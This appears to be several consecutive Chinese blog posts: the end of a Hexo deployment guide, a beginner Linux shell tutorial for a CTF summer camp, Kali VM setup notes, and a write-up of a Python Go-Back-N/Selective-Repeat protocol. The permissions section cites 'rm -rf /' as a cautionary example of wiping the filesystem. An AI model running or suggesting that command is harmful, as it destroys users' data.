repo: https://github.com/<username>/<project>
branch: gh-pages

然后在博客文件夹中输入 npm install hexo-deployer-git --save,安装一键部署插件。安装完毕后,直接输入 hexo d(d表示deploy),就可以将hexo生成好的网站上传到github上。之后更新了文章或博客配置,就可以先用 hexo g 生成,用 hexo s 来本地预览,然后用 hexo d 来上传到Github。

注意:有一些功能需要先使用 hexo clean 来将当前生成的网站清空,然后再重新 hexo g 生成。如果你疑惑你的更改怎么没有生效(比如换主题的时候),就可以clean之后再试试。

等待一分钟左右的时间,你就能在属于你的链接上看到属于你的网站了!如果等不及的话,可以在你的博客的github仓库中选择Actions查看部署进度。

后续探索

拥有自己的博客,一大乐趣就是折腾主题、折腾配置,把自己的网站变成想要的样子。

官方的配置教学中,有着对于 _config.yml 文件的说明。

除此以外,很多东西都在官方的文档中有着说明,推荐都看看。比如如何插入图片就可以查看资源文件夹 | Hexo

我使用的主题是Butterfly(进行了一点魔改),安装、配置请看这里:Butterfly 安裝文檔(一) 快速開始

我使用的评论插件是Valine,教程请参考使用Valine给Hexo博客添加评论功能 | Cameudis’s Blog

可以使用hexo-blog-encrypt来对某些文章加上密码,教程请看hexo-blog-encrypt/ReadMe_zh

本教程初次编写于六星2023CTF夏令营,升级后作为Linux系列教程的第零篇。
欢迎对Linux毫无了解的读者通过本教程入门Linux命令行基础操作~

What is Shell?

Shell的中文是壳,读者可能听说过一部叫做《Ghost in The Shell》(攻壳机动队)的作品。

Ghost-in-the-Shell

在计算机的世界中,Shell指的是一类软件,允许用户和计算机进行交互。

In computing, a shell is a computer program that exposes an operating system‘s services to a human user or other programs. In general, operating system shells use either a command-line interface (CLI) or graphical user interface (GUI), depending on a computer’s role and particular operation. It is named a shell because it is the outermost layer around the operating system.

—WikiPedia

在远古时期,我们没有鼠标,也没有图形化界面。那时候,我们就使用键盘来给计算机发送信息,而计算机就通过只能显示文字的显示屏来给我们显示信息。(当然,更远古的时期我们有的只是打孔纸带)这个能够读取我们命令,从而允许我们操作电脑、打开程序、移动文件的程序,就叫做Shell。这是计算机的Shell,也是我们自己在宽广的网络世界中的Shell。

在现在,Shell,尤其是 CLI Shell(Command-Line Interface Shell,命令行shell),依然在计算机世界中发光发热,为广大CSer提供着基础、方便、强大的与计算机的交互手段。尽管我们已经有了简洁直观的GUI(Graphical User Interface,图形用户界面)、智能的语音输入、甚至酷炫的Apple Vision Pro等AR/VR设备,但这些交互方式的强大之处也正是其缺陷——它们限制了我们的自由,让我们只能按照给定的接口与设备进行交互。

这个教程将会已Kali系统为例(当然其他发行版也适用本教程),讲解Linux系统的shell基础。

使用shell

所有的Linux系统都会预装一个Shell,而这些Shell的语法都是类似的,差别大部分在于一些拓展功能。比如在Ubuntu等系统上,默认的shell是 bash,而Kali系统上,预装的Shell叫做 zsh

当你打开你的Shell程序,你会看到一个提示符(prompt),表示 请您输入指令,比如:

1
2
┌──(kali㉿kali)-[~]
└─$

本教程之后会使用 $ 代指这个提示符。

在shell程序的可执行文件中,其实是一系列字符串处理的代码,负责将我们输入的字符串解析成指令来执行。比如,我们可以输入data:

1
2
$ date
Fri 10 Jan 2020 11:49:31 AM EST

shell 解析我们输入的字符串 "date" ,发现用户想要获取时间,于是就打印出了当前时间。

我们再试试输入 echo hello

1
2
$ echo hello
hello

shell 解析我们输入的字符串 "echo hello" ,根据空格来分割出两个token:echo 以及 token

然后 shell 将第一个token解析成指令,后面token都解析成参数。它发现我们是要求回声(echo),于是就调用相应的代码,将我们传给它的第二个token hello 打给了我们。

那我们都有哪些可以用的指令呢?我们可以用的指令大概有两种:

  • shell自己代码实现的指令
  • 计算机上的程序

如果shell发现我们输入的指令并不是它自己实现的,它就会认为这是一个计算机上的程序。如果它在计算机上找不到这个程序的话,就会报错:

1
2
$ Genshin start!
Genshin: command not found

Where am I?:文件系统

我们知道,计算机里的文件一般是以文件夹的形式组织起来的。在Windows下,我们可以看到C盘这个”大文件夹“下面有着 Program Files, Users 等等文件夹,在其中又有着许多许多的文件夹……

如果我们把C盘当作树根,文件夹当作树枝,文件当作树叶,我们可以发现这不就是一棵树吗!在Linux文件系统中,真的有这么一个目录,就叫做根目录(root directory),其符号为 /

想要看看Linux的文件树上都有哪些枝叶吗?让我们先走到树根那里:

1
2
3
4
┌──(kali㉿kali)-[~]
└─$ cd /
┌──(kali㉿kali)-[/]
└─$

我们可以使用 cd 指令,其全称是 change directory。在shell中输入 cd / 之后,我们会发现prompt有一定的变化。(这很像MUD,一种的远古文字游戏)

有一个 ~ 符号变成了 /,这表示我们的位置已经到了树根这里。这里有什么呢?

1
2
3
4
5
6
┌──(kali㉿kali)-[/]
└─$ ls
bin home lib32 media root swapfile var
boot initrd.img lib64 mnt run sys vmlinuz
dev initrd.img.old libx32 opt sbin tmp vmlinuz.old
etc lib lost+found proc srv usr

我们可以看到这里有很多东西,这是不同Linux发行版都会有的约定,也就是什么东西放在哪里。接下来我尝试用cd和ls结合回到家目录。

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[/]
└─$ cd home

┌──(kali㉿kali)-[/home]
└─$ ls
kali

┌──(kali㉿kali)-[/home]
└─$ cd kali

┌──(kali㉿kali)-[~]
└─$

我们发现,在prompt上显示的位置又回到了 ~

我们进入(回到)这个文件夹时,顺序依次是 / home kali,因此可以把这个拼接成其绝对地址 /home/kali

让我们输入 pwd (print working directory)来确认一下,这个指令能够告诉我们现在我们在哪:

1
2
3
┌──(kali㉿kali)-[~]
└─$ pwd
/home/kali

实际上,~ 这个特殊符号就表示当前用户(kali)的家目录。我们可以把这里当作桌面一样的地方来保存文件。

常用的文件系统指令包括:

1
2
3
4
5
6
7
8
$ pwd    # 我在哪?
$ ls # 这里有什么?
$ cd xxx # 我要去xxx文件夹
$ cd .. # 我要去上一级文件夹
$ mv # 移动文件
$ cp # 复制文件
$ rm xxx # 删除文件 (文件夹要加上-r参数)
$ mkdir # 创建文件夹

文件读写:配置软件安装源(apt包管理器)

文件夹中,不仅有着目录,还有着其他的文件。接下来我们以配置软件安装源为例,展示文件相关的操作。

在Linux上,有着被称为软件包管理器的一类软件,负责统一管理系统上软件或库的安装、升级、卸载,类似苹果的App Store。由于这是统一管理的,所以安装软件或库会非常方便。

通常而言,在国内安装Linux之后,首先就是需要更改所使用的软件包管理器(Ubuntu和Kali都使用apt)的软件仓库地址(或者称为软件源)。由于某种神秘力量的影响,国内可能不能访问官方默认的软件源(或很慢),因此国内有许多组织都维护了镜像站(也就是官方源的国内镜像版本)。

比如说,可以使用由 USTC LUG(中科大 Linux User Group)维护的镜像服务,官方教程的链接是:发行版镜像使用帮助

在上面这个教程中,可能写了这个:

编辑 /etc/apt/sources.list 文件, 在文件最前面添加以下条目:……

运用上面的知识,我们已经可以移动到 /etc/apt/ 文件夹,并且用 ls 看到这个目录下确实有一个 sources.list 文件。

我们可以使用 cat 指令来查看这个文件有什么内容,只需要在 cat 后面加上这个文件的路径。由于这个文件就在当前文件夹,所以只需要输入文件名即可,这是一种相对路径。你可以使用tab键来让shell帮你自动补全文件名,减少输入的功夫。

1
2
3
4
5
6
7
┌──(kali㉿kali)-[/etc/apt]
└─$ cat sources.list
# See https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/
deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware

# Additional line for source packages
# deb-src http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware

现在这个文件里已经有这么几行链接了,接下来我们尝试使用 nano 编辑器来对其进行编辑,还是和上次一样,只需要在 nano 后面加上文件名(也就是用相对路径引用这个文件):

$ nano sources.list

打开后,我们会在底下发现一行红色报错:File 'sources.list' is unwritable

Linux用户、用户组、权限

真的unwritable吗?如wri。

Linux系统给许多重要的文件、目录都设置了权限要求,没有权限的普通用户没办法修改。(是的,默认的用户kali是普通用户)在Linux系统中,有一个特殊的用户叫做root,几乎拥有一切权限,但为了这台计算机系统的安全起见,我们一般都不会登录这个用户。

试想一下,当你一不小心在命令行上敲出了 rm -rf / (对整个文件系统进行删除),如果你这时候还是普通用户的话,系统会提示你权限不够,从而保护了自己。但如果你是root用户的话……和这台系统说再见吧~

我们可以用 ls -l 来查看当前目录下各种文件的详细信息,其中各列信息如下所示:

文件属性 文件数 拥有者 所属group 文件大小 创建时间 文件名
drwxr-xr-x 2 root root 4096 Jun 3 13:38 apt.conf.d
-rw-r–r– 1 root root 1033 Jan 1 10:12 sources.list

文件属性一共有十个字母,第0个表示文件类型,d指directory,-指普通文件。

13,46,7~9分别为一组,分别表示文件所有者、所属group用户、其他用户对文件的权限。r表示可读(readable),w表示可写(writable),x表示可执行(executable)。

我们观察sources.list的文件属性,可以发现root用户可以进行读写,而root group的用户和其他用户都只读。

因此,为了修改这个文件,我们必须要使用root用户的权限。好在这有一种简单的方法可以做到:在想要执行的指令之前加上 sudo。因此我们还是可以写的。

更多细节可以参考本系列的下一篇教程,不过下一篇教程难度距离本篇高了一截,推荐已经使用一段时间Linux、对计算机整体架构有基本认识的读者阅读。

编辑文件

我们观察nano底部的操作栏,可以找到左下角的Exit。这里的 ^X 表示Ctrl+X的意思。因此我们使用这个组合键来退出。退出以后,我们按 ↑ 键即可取出上次我们执行的指令,然后再敲 Home 键(数字键盘附近的)将光标提到最前面,输入 sudo空格,敲击enter。

$ sudo nano sources.list

这里会提示我们输入密码,如果是kali系统就输入默认密码 kali

进入nano编辑器的界面后,复制中科大源的两个链接,将光标移到开头之后使用 Ctrl+Shift+V 来将其黏贴上去。这个编辑器的逻辑和我们常用的记事本等差不多,所以大家可以自行修改。

修改完成以后,先使用 Ctrl+S 进行保存,然后再 Ctrl+X 退出即可。

当然你也可以用教程中的其他方法完成换源

感觉如何?命令行的编辑器也可以非常强大,不论是功能性、美观性还是方便性的角度都是如此。有一款各种Linux都会自带的编辑器被许多人称为”编辑器之神“,它就是大名鼎鼎的Vim。如果你有兴趣,可以在 编辑器 (Vim) · the missing semester 进行了解。

好吧我知道这个很有用,但是这个指令咋用啊?:tldr

在计算机的世界中,有着许许多多的奇怪缩写,接下来介绍的这个软件就有一个非常奇怪的缩写:tldr

too long don’t read: 太长不看

接下来我们将会展示如何安装这个软件。在安装软件之前,先更新一下本地的资源目录是一个很好的习惯:

$ sudo apt update

它会提示你有多少个包可以更新,我们可以选择先别管他,因为刚刚安装系统后更新可能要很久(我这里有781个包要更新)。我们输入:

$ sudo apt install tldr

经过一些提示信息,当我们再次看到prompt的时候,就说明这个软件已经装好了。我们可以试着运行一下它,来看看到底是不是装好了:

1
2
3
4
5
6
7
8
9
10
11
12
$ tldr
tealdeer 1.5.0
Danilo Bargen <mail@dbrgn.ch>, Niklas Mohrin <dev@niklasmohrin.de>
A fast TLDR client

USAGE:
tldr [OPTIONS] [COMMAND]...

ARGS:
<COMMAND>... The command to show (e.g. `tar` or `git log`)

......

接下来,我们还需要更新一下这个软件的本地缓存(可能会有些慢):

1
2
$ tldr --update  # 你也可以用-u来代替--update
Successfully updated cache.

在这之后,我们就可以愉快地使用这个软件了!让我们用一个经典的递归式查询来查询一下tldr的用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ tldr tldr    

Display simple help pages for command-line tools from the tldr-pages project.
More information: <https://tldr.sh>.

Print the tldr page for a specific command (hint: this is how you got here!):

tldr command

Print the tldr page for a specific subcommand:

tldr command-subcommand

Print the tldr page for a command for a specific [p]latform:

tldr -p android|linux|osx|sunos|windows command

[u]pdate the local cache of tldr pages:

tldr -u

想知道什么指令的用法,或者不记得哪个指令怎么用了,直接使用 tldr <命令名> 就能快速地查到这个软件常用的用法了。

作为习题,你可以挑战一下快速找到如何使用apt来列出本机安装的软件包、如何将本机的软件包升级到最新的版本、以及如何删除一个软件包(删除时请一定小心!初学时笔者曾尝试删除python2,导致系统里许多依赖python的软件都无法正常运行,桌面软件都爆炸了,花了好久才给救回来)。

查询非常用用法:Manual手册

我们使用tldr查询用法时,实际上是一种”非官方渠道“,也就是由非官方的组织收集得来的常用用法。这其实并不能保证查到的用法一定是正确的、我们想要的,也不能帮助我们将一个软件的功能发挥到极致。

如何查询一个指令/软件的官方用法?答案是使用 man 指令,其全称是 manual (手册)。基本上每个软件或指令都会有对应的、由官方编写的、规范化的文档,我们通过man来阅读它们。如果没有对应的 man page 的话,这表示这个指令可能是由shell程序自己实现的而不是一个独立的软件,这时候可以通过 help xxx 来查看其用法。

这里又引出了另一个非常奇怪的缩写:RTFM,以下是两种解释(看你想如何理解)

Read the F**king Manual:快™去读手册!!

Read the Friendly Manual:去看看友好的手册吧~

早年间,很多伸手党小白会在网络上提非常简单的问题,这时候懒得回答的暴躁老哥就会说出这句经典缩写。这个小故事启发我们:当遇到不懂的事情,多查查手册这一官方出品的一手资料,慢慢地你一定会变得更有耐心、更能解决问题、英语阅读分更高

另外,在man的页面当中使用 / 可以在当前文档中向后搜索关键词,使用 n 来切换到下一个搜索结果,使用 shift+n (就是大写N)来切换到上一个搜索结果。这个功能会很有用。

让我们做个小练习,请借助 man ls ,找到能做到以下效果的指令:

  • 打印隐藏的文件
  • 大小以人类可以理解的格式显示(比如显示 454M 而不是 454279954)
  • 文件以最近访问顺序排序

我是MARIO:iostream重定向 & pipes管道

上过C语言和C++的大家应该知道,命令行程序有三个默认打开的“流”,分别是stdin,stdout以及stderr。在我们运行命令行程序时,标准输入就是我们敲进去的东西,而程序打印东西到stdout或者stderr,其实就是打印到命令行上。

在学习C或C++的文件操作的时候,会发现一个很巧的事情——文件读写用到的API,和标准输入输出用的那些API其实都差不多,这是因为文件和标准输入输出本来就是一样的。在Linux系统中,一切皆文件。不仅传统意义上的文本文件、多媒体文件等普通文件是文件,套接字(网络接口)、键盘鼠标设备等等都是文件,可以用统一的一套文件API进行处理。

这种设计不仅带来了极大的统一性,也带来了极大的便捷性。本节介绍的iostream重定向和pipes管道就与这种设计有关。

既然stdin和stdout也是文件流,那么我们当然可以把他们重定向到一个普通文件!我们让一个文件被定向到一个程序的标准输入,或者让一个程序的标准输出定向到一个文件当中。前者我们使用 < file,后者我们使用 > file,如下所示:

1
2
3
4
5
6
7
8
9
10
$ echo hello > hello.txt		# 把stdout重定向到hello.txt中
$ cat hello.txt
hello

$ cat < hello.txt # 把hello.txt重定向到cat的标准输入
hello

$ cat < hello.txt > hello2.txt # 同时重定向cat的标准输入和标准输出
$ cat hello2.txt
hello

那我们能不能把两个程序首位相连呢?把第一个程序的标准输出用作第二个程序的标准输入,在这两个程序之间构造一条虚拟的管道!这种神奇的操作是通过 | 来完成的:

1
2
3
4
5
6
7
8
9
$ cat 1.txt           
GODEL
ESCHER
BACH
$ cat 1.txt | tail -n1 # 打印1.txt的最后一行
BACH
$ cat 1.txt | grep CH # 寻找1.txt中带有CH的行
ESCHER
BACH

据说,传奇的命令行大师会用管道构造一长条链,我们尊称其为Mario。

Play with Shell

接下来,笔者推荐有空的读者试试看一个Wargame,链接是OverTheWire: Bandit。这个闯关游戏能帮助初学者快速掌握各种命令行常用工具的用法。在有了本教程的基础以后,这个游戏仍然有一定的挑战性,需要广泛地收集资料。

在这里,最后介绍一个奇怪的缩写:STFW

Search The Friendly Web: 去搜搜互联网吧,相信你能找到想要的

Remember - this stuff is not easy if you don’t know much, so google everything, question everything, and sooner or later you’ll be down the rabbit hole far enough to be enjoying yourself.

— How to start hacking? - r/hacking

祝愿大家能通过这个Wargame,从此发现一个不一样的计算机世界。


参考资料

强烈推荐:计算机教育中缺失的一课 · the missing semester

为了和之后的网络工具介绍环节联动,Linux常见指令教学将会使用Kali进行。

Windows

首先需要装一个VMware。由于夏令营的安卓逆向部分会用到与hyper-V不兼容的安卓模拟器,因此这里不推荐WSL了 (`ε´)。

VMware Workstation Player官网下载链接:VMware Workstation Player | VMware | CN

VMware Workstation Pro可以自行找链接下载(然后网上搜一个注册码),但是我们不鼓励盗版!

在安装完毕之后,我们直接下载开箱即用的Kali虚拟机,下载链接:Get Kali | Kali Linux

下载完之后,找一个好地方解压(这个Kali虚拟机需要一直保存在那个地方),然后打开VMware,在左上角的文件菜单中点击打开,找到你刚刚解压出来的文件夹中的 kali-linux-...-amd64.vmx 打开,这一步之后你就拥有了一台Kali虚拟机!

默认的账号和密码都是 kali,开始你的Linux之旅吧!

MacOS(M1/M2)

请看J3rry同学编写的教程

在这学期计网的PJ中,我被迫实现了GBN协议、基于连接的全双工可信传输协议,并在此基础上改造了SR协议版本,并为其添加了基础的拥塞控制机制(AIMD)。
这是Github项目仓库

主体是gbn.py以及sr.py,API接口模仿socket设计,均能连续通过200轮测试。下面是使用例(这就是全部API了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# sr_server.py
from sr import SRSocket

HOST = 'localhost'
PORT = 8000

s = SRSocket()
s.bind((HOST, PORT))

s.listen()
s.accept()
print('Connected by', s.address)

f = open('server/recv.jpg', 'wb')
while True:
data = s.recv()
if data == b"": # 空的数据包标识文件结束
break
f.write(data)

f.close()
s.send(b"Thank you for your data!")
s.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# sn_client.py
from sr import SRSocket

HOST = 'localhost'
PORT = 8000

s = SRSocket()
s.connect((HOST, PORT))
print('Connect to', s.address)

f = open('client/data.jpg', 'rb')
data = f.read()
f.close()

s.send(data) # 阻塞的
s.send(b"") # 用空的payload表示文件发送结束
print(s.recv().decode())
s.close()

客户端将会把图片 client/data.jpg 传输至服务器端,服务器保存图片至文件 server/recv.jpg 后,将会给客户端发送一条信息,客户端接收并将其打印出来。

由于是全双工的,所以客户端可以给服务器发送消息,服务器也可以给客户端发送消息。

1 GBN

1.1 准备

为了保证全双工的一致性,从一开始就准备将服务器端协议实现和客户端协议实现放在一个类中,命名为GBNSocket。为了方便起见,我直接模仿socket的api,主要是如下这些函数:

1
2
3
4
5
6
7
8
9
10
11
12
# 客户端
def connect(address)

# 服务端
def bind(address)
def listen()
def accept()

# 通用
def send(data)
def recv([size])
def close()

真实的accpet函数会返回一个新的套接字,我将其简化为自身就变成与之通信的套接字。

我设计的数据包结构为:

1
2
3
4
5
6
7
struct packet {
uint8_t seqNum;
uint8_t ackNum;
uint8_t flag;
uint8_t checkSum;
uint8_t data[];
};

其中flag字段有三个有效bit,定义为:

1
2
3
SYN = 1
FIN = 2
ACK = 4

而checkSum计算方法非常简单粗暴,就是把所有字节加起来(模加法),如下:

1
2
3
4
5
6
7
def getChecksum(data):
length = len(str(data))
checksum = 0
for i in range(0, length):
checksum += int.from_bytes(bytes(str(data)[i], encoding='utf-8'), byteorder='little', signed=False)
checksum &= 0xFF
return checksum

1.2 滑动窗口

我为每个socket维护了两个buffer数组,分别用于发送和接收数据(sdata 以及 rdata)。
相关的一些指针(其实是index)定义和用途如下:

1
2
3
4
5
6
7
8
9
10
# send
self.sdata = [None] * 256 # send data buffer
self.spos = 0 # send position (last available sdata + 1)
self.sbase = 0 # send base
self.snext = 0 # next seq to be sent

# receive
self.rdata = [None] * 256 # receive data buffer
self.rbase = 0 # receive base (not return to app yet)
self.rexpect = 0 # expected next seq

这些数据在计算时全都模256进行,所以有些运算会很烦,这是我在实现协议时遇到的主要困难之一。

在发送包时,由于是GBN协议,因此seqNum和ackNum两个字段分别用于表示“本条消息对应的序列号”以及“我希望收到的下一个包的序列号”。这里ackNum是一种累计确认,表示自己之前的所有数据包已经接收完毕。

1.3 雏形

最重要的函数显然是send和recv。
我将send、recv、以及一个辅助函数_wait的职能总结如下:

  • send:将新的数据安排到 self.sdata 数组中(更新 self.spos),并在循环中根据窗口大小,发送之前没有发送过的新包(拓展 self.snext)。通过调用 self.wait 来更新 self.sbase ,直到所有将要发送的数据都发送完毕(self.sbase == self.spos)。
  • recv:self.rbase 表示当前没有被返回至上层的最后一个包,self.rexpect 表示当前已经可以返回的最后一个包。如果它俩相等,说明现在没有可以返回的包,那么recv会调用 self.wait 来更新 self.rexpect;否则recv会返回一个包的数据。
  • wait:核心函数(不属于API的一部分),负责处理收到的所有包、根据其类型来进行各种操作如发送ACK、存储数据等。其本质是更新 self.sbaseself.rexpect。它有recv模式,在该模式下一次超时就会返回调用者(用于recv);除此以外,它会在结束或遇到错误(如超时次数过多)时返回false,在 self.sbase == self.snext 时(即所有包都确认完毕)返回true。

由于是Go-Back-N协议,因此在wait中,如果发生超时,那么从 self.sbaseself.snext 的所有包都会被重传。

注意:wait是客户端和服务器端都会使用的函数,因此实现了全双工的统一性。

1.4 连接

为了标识通信开始、标识通信结束、维护随机化的sbase和rbase,需要实现连接状态。
为了实现连接状态,需要设计连接的开始机制和结束机制。

建立连接

在建立连接时,由客户端向进入listen阶段的服务器端口发送 flag |= SYN 的请求建立连接的报文。同时,客户端将会随机化其 sbase(初始序列号),并把 sbase-1 发送给服务器来让服务器的 rbase 与其同步。

1
2
3
4
5
6
7
8
9
10
11
12
13
def connect(self, address):
if (self.connected):
print(f"[error] You have connected to addr {self.address}")
return

# randomize init seq
self.sbase = random.randint(0, 255)
self.snext = self.sbase
self.spos = self.sbase

self.address = address
syn_pack = make_pkt((self.sbase-1)%256, 0, b"", start=True)
self.udp_send(syn_pack)

服务器端socket首先需要调用bind来绑定某一端口监听,然后调用listen进入服务器状态。服务器状态下才可以调用 accept。(这个设计比较愚蠢,就是为了给listen一个用途而已)

服务器在 accpet 中接收到SYN报文后,将会将其 self.address 更新为客户端地址,其 rbase 更新为 seqNum + 1,随机化它自己的 sbase,然后向客户端发送 SYN | ACK 报文来确认连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def accept(self):
if (not self.is_server):
print("[error] not server")
return

self.udp_socket.settimeout(None)
rcvpkt, address = self.udp_socket.recvfrom(HEADER_SIZE+BUFFER_SIZE)
seqNum, ackNum, flag, checksum, data = analyse_pkt(rcvpkt)
if flag & SYN:
print("[info] SYN from", address)
self.connected = True
self.address = address

self.rbase = (seqNum + 1) % 256
self.rexpect = self.rbase

self.sbase = random.randint(0, 255)
self.snext = self.sbase
self.spos = self.sbase

synack_pack = make_pkt(self.sbase, self.rexpect, b"", start=True, ack=True)
self.udp_send(synack_pack)
else:
print("[error] not SYN")
return

当然,这两条特殊的报文同样要考虑丢包的问题。

在客户端的 connect 函数中,如果收不到SYN ACK,就会一直重传SYN包,直到收到 SYN ACK,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
self.udp_socket.settimeout(self.timeout)
while True:
try:
rcvpkt = self.udp_socket.recv(HEADER_SIZE+BUFFER_SIZE)
seqNum, ackNum, flag, checksum, data = analyse_pkt(rcvpkt)
if (flag & SYN) and (flag & ACK) and (ackNum == self.sbase):
self.connected = True
self.rbase = (seqNum + 1) % 256
self.rexpect = self.rbase
break

except socket.timeout:
print("[timeout] SYN ACK")
self.udp_send(syn_pack)

而在服务端的 accpet 函数中,我没有设置重传,而是将其放在 wait 函数中。假设SYN ACK包丢包了,客户端会继续向其发送SYN包,而服务器此时会进入 wait 函数进行处理。所以在 wait 中,如果收到了SYN包,那么它会重新发送SYN ACK包,在这里实现重传。

断开连接

我设计了两种正常断开连接的方法——主动断开和被动断开。不论是服务器还是客户端,都可以主动断开或被动断开。

主动断开即在连接中调用 close 函数。close 会向对方发送一个FIN包(通过设置flag中的FIN bit),然后等待对方发来的FIN ACK。

1
2
3
4
5
6
7
8
9
10
11
def close(self):
if (not self.connected):
print("[info] FIN...")
return

# send FIN
fin_pack = make_pkt(self.snext, self.rexpect, b"", stop=True)
self.udp_send(fin_pack)

# wait for FIN ACK
...

在另一方处理接收到的包的 wait 函数中,如果收到了FIN包,那么它会立即进入断开状态,并向其发送一个FIN ACK包。

1
2
3
4
5
6
7
# handle FIN
elif (flag & FIN):
ack_pkt = make_pkt((self.snext-1)%256, self.rexpect, b"", ack=True, stop=True)
self.udp_send(ack_pkt)
self.udp_socket.settimeout(None)
self.connected = False
return False

当然,上面两种情景也需要考虑丢包问题。
如果主动发送的FIN包发生丢包,也就是收不到FIN ACK,那么它就会一直重传FIN包。
在我的实现中,FIN ACK包只会发送一次,如果它丢包了就说明主动断开的那一方永远收不到FIN ACK了。因此,我在 close 函数中加入了如果超时次数超过 MAX_TIMEOUT,就假装自己收到了FIN ACK。从而也断开连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# wait for FIN ACK (close函数,接上文)
self.udp_socket.settimeout(self.timeout)
timeout_count = 0
while True:
if timeout_count >= MAX_TIMEOUT:
print("[info] FIN...")
break
try:
rcvpkt = self.udp_socket.recv(HEADER_SIZE+BUFFER_SIZE)
seqNum, ackNum, flag, checksum, data = analyse_pkt(rcvpkt)
if flag & FIN and flag & ACK and ackNum == self.snext:
self.connected = False
print("[info] FIN...")
break

except socket.timeout:
timeout_count += 1
print("[timeout] FIN ACK")
self.udp_send(fin_pack)

2 SR

在SR中,不再使用GBN的累积确认机制,接收方会分别确认每一个收到的包,即使包提前到了也会保存并发送其ACK。此外,对于每一个已发送未确认的包,发送方都会分别维护一个时钟,当某个包的时钟超时了,发送方会单独发送那一个包(所以叫选择重传)。

因此,一个重点是实现(至少逻辑上)分离的时钟,另一个重点就是区分已收到和未收到的包。

2.1 时钟

为了实现时钟的逻辑分离,我采用了尽量模拟的方法。我将超时间隔减小,作为类似“普朗克时间”或原子时间的概念。每次超时时,检测每个还在计时的时钟,如果他们超时了就进行重传,然后更新时钟。

我为我的socket添加了一个列表域 self.sclkq,全称为send clock queue。它将作为一个队列来使用,其每个元素都是一个 seq:timestamp 的元组。

当一个包(对应一个序列号)在send中被第一次发送时,它的序列号与这时的时间戳组成的元组将会被加入 sclkq 的队尾。如下所示:

1
2
3
4
5
6
7
8
9
10
# send packets
while self.sbase != self.spos:
if (self.snext - self.sbase) % 256 < self.window_size and self.snext != self.spos:
pkt = make_pkt(self.snext, self.rexpect, self.sdata[self.snext])
self.udp_send(pkt)
self.sclkq.append((self.snext, time.time())) # add to clock queue
self.snext = (self.snext + 1) % 256
else:
if not self._wait():
return

当在wait函数中发生了基础超时,程序将会重复检查 sclkq 的队首,若当前时间戳与其记录的时间戳差值(也就是距离上次发送过去的时间)超过了设置的超时时间,那么程序将会重传这个序列号的包,并把该元组出列,将其序列号与当前的新时间戳构成的元组重新加入队尾。如下代码所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
except socket.timeout:
if (recv):
return True

# check clock queue
while len(self.sclkq) > 0:
if time.time() - self.sclkq[0][1] >= self.timeout:
pkt = make_pkt(self.sclkq[0][0], self.rexpect, self.sdata[self.sclkq[0][0]])
self.udp_send(pkt)
self.sclkq.append((self.sclkq[0][0], time.time()))
del self.sclkq[0]
else:
break

这样一来,就实现了发送方对每个包的单独时钟的选择重传。

2.2 确认

在SR协议中,ACK表示收到了该序列号的包,而不是累积确认,因此接收方可以提前保存并确认包。如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# save data
if getChecksum(data) == checksum:
if self.rdata[seqNum] is None:
self.rdata[seqNum] = data

# send ACK
ack_pkt = make_pkt((self.snext-1)%256, seqNum, b"", ack=True)
self.udp_send(ack_pkt)

# update rexpect
i = self.rexpect
while not self.rdata[i] is None:
self.rexpect = (self.rexpect + 1) % 256
i = self.rexpect

注意上段代码中,更新rexpect的方式并不再是简单地加一,而是一直推进到没有收到的地方。区间 $[rbase, rexpect]$ 表示连续的可以返回给上层的数据,而rexpect之后可能存在离散的收到的数据,这些数据还不能返回给上层(否则就是乱序了)。

而对于发送方,当接收到ACK时,采用删除其在 sclkq 中的元组的方式,来取消其发送。在遍历 sclkq 时,同时记录最早的仍在队列中的包 crt_min_unacked。如果 crt_min_unackedsbase 不相等,则说明 sbase 可以更新,于是会更新后返回。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# handle ACK
if (flag & ACK):
# update clock queue
crt_min_unacked = self.snext
i = 0
while i < len(self.sclkq):
crt = self.sclkq[i][0]
if ackNum == crt:
self.sclkq.pop(i)
else:
if (crt - self.sbase) % 256 < (self.snext - self.sbase) % 256: # in window
if crt < WINDOW_SIZE:
crt += 256
if crt < crt_min_unacked:
crt_min_unacked = crt
i += 1
crt_min_unacked %= 256

if self.sbase != crt_min_unacked:
self.sbase = crt_min_unacked
self.udp_socket.settimeout(None)
return True
else:
continue

2.3 拥塞控制

至此,SR协议已经完成了。不过我再加入了一些最基础的拥塞控制机制,也就是AIMD。

我通过修改 self.window_size 来完成拥塞控制,send 会根据这个变量来决定发不发送新的包。具体的修改位于 wait 函数中,Additive Increase位于收到ACK且更新 sbase 时,确认数量达到当前的 self.window_size 时就会将其加一,代码如下:

1
2
3
4
5
6
# update window size (congestion control)
self.ackcount += (crt_min_unacked - self.sbase) % 256
if self.ackcount >= self.window_size:
print('[CNG_CTRL] add window size from', self.window_size, 'to', self.window_size+1)
self.window_size += 1
self.ackcount = 0

而Multiplicative Decrease位于处理一个包超时时,每有一个包超时就会触发这个机制,代码如下:

1
2
3
4
# update window size (congestion control)
new_window_size = max(2, self.window_size // 2)
print('[CNG_CTRL] reduce window size from', self.window_size, 'to', new_window_size)
self.window_size = new_window_size

3 测试

我编写了测试脚本用于测试客户端和服务端间连接是否可以准确传输整个图片文件,主要逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
for ((i=1; i<=$num_runs; i++)); do
rm ./server_log
rm ./client_log
python ./sr_server.py 1> ./server_log &
server_pid=$!

sleep 1

python ./sr_client.py 1> ./client_log

wait $server_pid

cmp -s ./server/recv.jpg ./client/data.jpg
if [ $? -eq 0 ]; then
echo "Test $i: Files match"
else
echo "Test $i: Files do not match"
break
fi

sleep 4
done

